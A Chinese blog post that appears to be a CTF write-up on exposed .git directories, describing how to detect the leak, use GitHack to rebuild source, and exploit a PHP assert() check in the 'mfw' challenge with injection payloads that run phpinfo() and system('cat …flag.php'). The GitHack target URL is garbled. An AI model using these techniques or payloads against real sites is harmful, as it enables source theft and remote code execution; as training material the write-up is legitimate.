git源码泄露

Git 源码泄露

开发人员会使用 git 进行版本控制,对站点自动部署。但如果配置不当,可能会将 .git 文件夹直接部署到线上环境,这就引起了 git 泄露漏洞,我们可以利用这个漏洞直接获得网页源码。

确定是否存在泄漏

(1)看看有没有提示使用了 Git,如果有就考虑存在。如果没有也可以使用 dirsearch 工具扫描后台,如果存在则会扫描出 .git 目录如图所示。

(2)直接通过网页访问 .git 目录,如果能访问就说明存在。

(3)访问 .git/head 文件,如果能下载也能推断存在 Git 源码泄露。

1.【攻防世界】mfw

页面发现git ,可能存在git注入。

用GitHack扫描,下载源文件。

知识点

GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。

渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。
python GitHack.py http://61:52016/.147.171.105:52016/.git/
<?php

if (isset($_GET'page')) {

page = _GET'page';

} else {

$page = "home";

}

file = "templates/" . page . ".php";

// I heard '..' is dangerous!

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

//相对于过滤了 ..

// TODO: Make this look nice

assert("file_exists('$file')") or die("That file doesn't exist!");

?>

(1)assert:对传入的参数会当作php代码来执行

?page=') or phpinfo();#

file_exists('templates/') or phpinfo();#.php

?page=').system("cat ./templates/flag.php");//

(1)双斜杠相当于注释

找到flag。

CTF-WEB:Git 源码泄露 - 乌漆WhiteMoon - 博客园 (cnblogs.com)

相关推荐
菠萝加点糖8 小时前
Git 删除远程文件、本地保留并取消跟踪
git
理智.62911 小时前
Git 工具使用之项目版本回退与修改备份:stash、reset、reflog 常用指令详解
git·gitee·github
妙码生花14 小时前
GIT 提交规范
git
云雀衔光17 小时前
多个 MCP Server 怎么编排:数据库 / Redis / Git / 飞书一把梭
java·数据库·人工智能·redis·git·语言模型·飞书
Java后端的Ai之路17 小时前
Git pull弹出vim编辑器完整排查指南
开发语言·人工智能·git·编辑器·vim
云泽8081 天前
Git 版本控制系统(下):从 .git 目录结构到冲突解决机制详解
大数据·git·elasticsearch
麻辣布丁1 天前
Git冲突原因与解决方法全解
大数据·git·elasticsearch
一支黑色の铅笔2 天前
VSCode 克隆Git项目
ide·git·vscode
拽着尾巴的鱼儿2 天前
Idea:Cannot Run Git 无法运行git
java·git·intellij-idea
y小川2 天前
【git】移除远端已删除的git分支
git